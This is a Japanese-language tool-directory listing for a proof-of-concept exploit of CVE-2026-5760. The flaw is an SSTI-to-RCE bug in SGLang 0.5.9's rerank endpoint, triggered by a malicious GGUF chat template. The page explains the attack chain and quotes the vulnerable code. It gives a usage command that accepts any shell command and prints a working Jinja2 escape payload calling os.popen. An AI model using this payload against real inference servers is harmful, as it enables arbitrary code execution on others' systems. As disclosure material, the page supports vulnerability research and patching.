Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SGLang-0.5.9-RCE — CVE-2026-5760の概念実証エクスプロイト – 悪意のあるGGUFを介したSGLang 0.5.9のRCE | Kitploit
ツール/GitHubGitHub/stuub/sglang-0.5.9-rce
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubstuub/sglang-0.5.9-rce

SGLang-0.5.9-RCE

CVE-2026-5760の概念実証エクスプロイト – 悪意のあるGGUFを介したSGLang 0.5.9のRCE

リポジトリを見る
524ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SGLang SSTI to RCE PoC — サンドボックス化されていないJinja2チャットテンプレートレンダリング (CVE-2026-5760)

SGLangのリランキングエンドポイントにおけるサーバーサイドテンプレートインジェクション(SSTI)を介したリモートコード実行。細工されたtokenizer.chat_templateを含む悪意のあるGGUFモデルファイルをSGLangに読み込み、/v1/rerankエンドポイントを呼び出すと、任意のコードが実行されます。

Features

SGLangの重大な脆弱性を悪用し、サンドボックス化されていないJinja2テンプレートレンダリングを利用します。SGLangのリランキングエンドポイント(/v1/rerank)は、モデルが提供するチャットテンプレートをjinja2.Environment()(ImmutableSandboxedEnvironmentではなく)でレンダリングするため、悪意のあるモデルが推論サーバー上で任意のPythonコードを実行できるようになります。

これは、llama-cpp-pythonに影響を与えたCVE-2024-34359("Llama Drama")と同じ脆弱性クラスです。

Step Through the Attack

  1. 攻撃者は、Jinja2 SSTIペイロードを含む悪意のあるtokenizer.chat_templateを持つGGUFモデルファイルを作成します。
  2. テンプレートには、serving_rerank.py内の脆弱なコードパスを有効にするQwen3リランカートリガーフレーズが含まれています。
  3. 被害者はモデルをダウンロードし、SGLangに読み込みます(例:HuggingFaceから)。
  4. リクエストが/v1/rerankに到達すると、SGLangはchat_templateを読み取り、jinja2.Environment()でレンダリングします。サンドボックスはありません。
  5. SSTIペイロードがサーバー上で任意のPythonコードを実行します。

Vulnerable Code

ファイル: python/sglang/srt/entrypoints/openai/serving_rerank.py

root@kitploit:~
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Usage

このPoCは悪意のあるGGUFファイルを生成し、SGLangのサンドボックス化されていないレンダリングパスを通じてコード実行を実証します。

root@kitploit:~
python3 exploit.py "id"

任意のシェルコマンドを引数として渡します。デフォルトはidです。

SSTI Payload

GGUFファイルに埋め込まれた悪意のあるチャットテンプレート:

root@kitploit:~
MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • トリガーフレーズ(The answer can only be "yes" or "no")は、SGLangのQwen3リランカー検出を有効にするために必要であり、リクエストを脆弱な_render_jinja_chat_template()パスにルーティングします。
  • lipsum.__globals__["os"].popen()はJinja2コンテキストをエスケープして、任意のOSコマンドを実行します。

References

  • CVE-2026-5760
  • CVE-2024-34359 — llama-cpp-pythonにおける同一の脆弱性クラス
  • CVE-2025-61620 — vLLMにおけるchat templates経由のDoS(同一の攻撃面)
  • SGLang GitHub
  • CWE-1336: テンプレートエンジンで使用される特殊要素の不適切な無効化
  • CWE-94: コード生成の不適切な制御

Disclaimer

このツールは許可されたセキュリティ研究および教育目的のみに使用されます。責任を持って使用してください。

ツールをダウンロード